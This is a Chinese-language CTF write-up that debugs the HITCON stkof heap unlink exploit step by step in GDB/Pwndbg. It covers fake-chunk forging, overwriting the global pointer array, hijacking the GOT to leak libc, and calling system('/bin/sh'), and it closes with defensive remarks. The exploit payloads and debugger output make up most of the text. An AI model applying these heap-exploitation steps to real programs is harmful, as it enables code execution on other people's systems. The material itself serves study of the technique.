手把手调试:用GDB/Pwndbg动态分析HITCON stkof的unlink利用全过程

张开发
2026/4/20 19:36:29 15 分钟阅读
手把手调试:用GDB/Pwndbg动态分析HITCON stkof的unlink利用全过程
从内存视角拆解HITCON stkof的unlink攻击实战第一次接触堆漏洞利用时最让我困惑的不是exp代码本身而是那些操作背后真实的内存变化。记得当时盯着GDB输出的一堆十六进制数完全不明白为什么修改某个地址就能拿到shell。今天我们就用Pwndbg的上帝视角亲手触发unlink的每个关键步骤看看内存究竟是如何被欺骗的。1. 环境准备与程序分析1.1 初始堆布局观察启动stkof程序后先不急着操作用heap命令看看初始状态pwndbg heap Allocated chunk | PREV_INUSE Addr: 0x20f7000 Size: 0x1011 Allocated chunk | PREV_INUSE Addr: 0x20f8010 Size: 0x31 Allocated chunk | PREV_INUSE Addr: 0x20f8040 Size: 0x411 ...这里有个有趣的现象即使我们还没分配任何块堆上已经存在几个chunk。这是因为程序没有调用setbuf(stdin, 0)标准I/O会预先分配缓冲区。这对后续利用有重要影响——我们需要避开这些幽灵块。检查保护机制pwndbg checksec [*] /home/user/stkof Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)Partial RELRO和No PIE的组合给了我们修改GOT表的机会这正是unlink攻击最终要达成的目标。1.2 关键数据结构布局程序使用全局数组在0x602140处存储chunk指针。通过以下命令观察初始状态pwndbg x/8gx 0x602140 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 ...分配四个chunk后注意第一个是0x30大小用于对齐pwndbg x/8gx 0x602140 0x602140: 0x0000000000000000 0x00000000020f8020 0x602150: 0x00000000020f8460 0x00000000020f84a0 0x602160: 0x00000000020f8530 0x0000000000000000这个全局数组将成为我们的攻击跳板unlink操作会让我们获得对这个数组的写权限。2. 堆溢出与chunk伪造2.1 制造可控堆溢出程序的fill功能存在长度参数可控的堆溢出void fill(int idx) { char *chunk global_array[idx]; unsigned int size read_int(); // 可指定任意大小 read_n(chunk, size); // 堆溢出发生在这里 }我们通过以下操作在chunk2伪造一个free chunkpayload p64(0) p64(0x30) # 伪造的chunk头 payload p64(fd) p64(bk) # 伪造的fd/bk指针 payload bA*0x10 # 填充 payload p64(0x30) p64(0x90) # 设置下一个chunk的prev_size和size fill(2, payload)此时用x/20gx [chunk2_addr]查看内存会看到精心构造的fake chunk0x20f8460: 0x0000000000000000 0x0000000000000030 0x20f8470: 0x0000000000602138 0x0000000000602140 0x20f8480: 0x4141414141414141 0x4141414141414141 0x20f8490: 0x0000000000000030 0x0000000000000090关键点伪造的size(0x30)必须与后续要free的chunk的prev_size匹配且PREV_INUSE位要清零2.2 unlink触发时刻执行free(3)时ptmalloc会检查前一个chunk是否空闲。我们伪造的场景会让它认为0x20f8460是一个free chunk从而触发unlink操作。在free之前设置断点观察pwndbg break *free pwndbg heap bins # 查看bin状态 fastbins 0x20: 0x0 0x30: 0x0 ... unsortedbin all: 0x0执行free后神奇的事情发生了pwndbg x/8gx 0x602140 0x602140: 0x0000000000000000 0x00000000020f8020 0x602150: 0x0000000000602138 0x0000000000000000全局数组的第三个条目原指向chunk2现在变成了0x602138这正是unlink操作的副作用// unlink宏的简化逻辑 FD P-fd; // 0x602138 BK P-bk; // 0x602140 FD-bk BK; // 导致*(0x6021380x18)0x602140 BK-fd FD; // 导致*(0x6021400x10)0x6021383. GOT表劫持的艺术3.1 全局数组控制权获取现在我们可以通过修改chunk2来覆盖全局数组了。构造以下payloadpayload bA*0x10 payload p64(free_got) p64(puts_got) fill(2, payload)查看全局数组变化pwndbg x/8gx 0x602140 0x602140: 0x0000000000000000 0x00000000020f8020 0x602150: 0x0000000000602018 0x0000000000602020现在chunk1和chunk2的指针分别指向free和puts的GOT表项相当于获得了任意GOT表写能力。3.2 地址泄露与计算将freegot改为putsplt后调用free实际会执行putsfill(1, p64(puts_plt)) # 修改freegot free(2) # 实际执行puts(putsgot)在GDB中可以看到[DEBUG] Received 0x7 bytes: 00000000 a0 46 60 dd bc 7f 0a │·F·│···│这就是puts函数的真实地址通过它可以计算出libc基址和system地址puts_addr u64(p.recv(6).ljust(8, b\x00)) libc_base puts_addr - libc.sym[puts] system libc_base libc.sym[system]3.3 最终shell获取现在只需将freegot改为system地址并在某个chunk中写入/bin/shfill(1, p64(system)) # freegot - system fill(4, b/bin/sh\x00) free(4) # 实际执行system(/bin/sh)在Pwndbg中观察最后的内存状态pwndbg x/gx 0x602018 0x602018 freegot.plt: 0x00007f8d4a12a3a0 # system地址 pwndbg x/s 0x20f8530 0x20f8530: /bin/sh4. 防御思路与变种探讨虽然现代glibc已经加入了更多unlink检查但理解这个经典案例仍很有价值。防御方面可以考虑开启FULL RELRO防止GOT表修改使用堆地址随机化(ASLR)加入chunk size与prev_size的一致性检查对堆操作进行更严格的边界检查在实战中遇到类似漏洞时可以尝试以下变种部分写技巧当溢出字节受限时精心构造部分写来修改关键指针多阶段利用结合其他漏洞如UAF完成更复杂的利用链类型混淆利用堆布局制造类型混淆实现代码执行记得第一次成功利用时那种看到shell弹出的兴奋感至今难忘。但更珍贵的是通过这次调试真正理解了unlink操作背后指针舞的精妙之处。建议大家在复现时多在关键节点用heap、bins等命令观察状态变化这才是二进制安全最有魅力的部分。

更多文章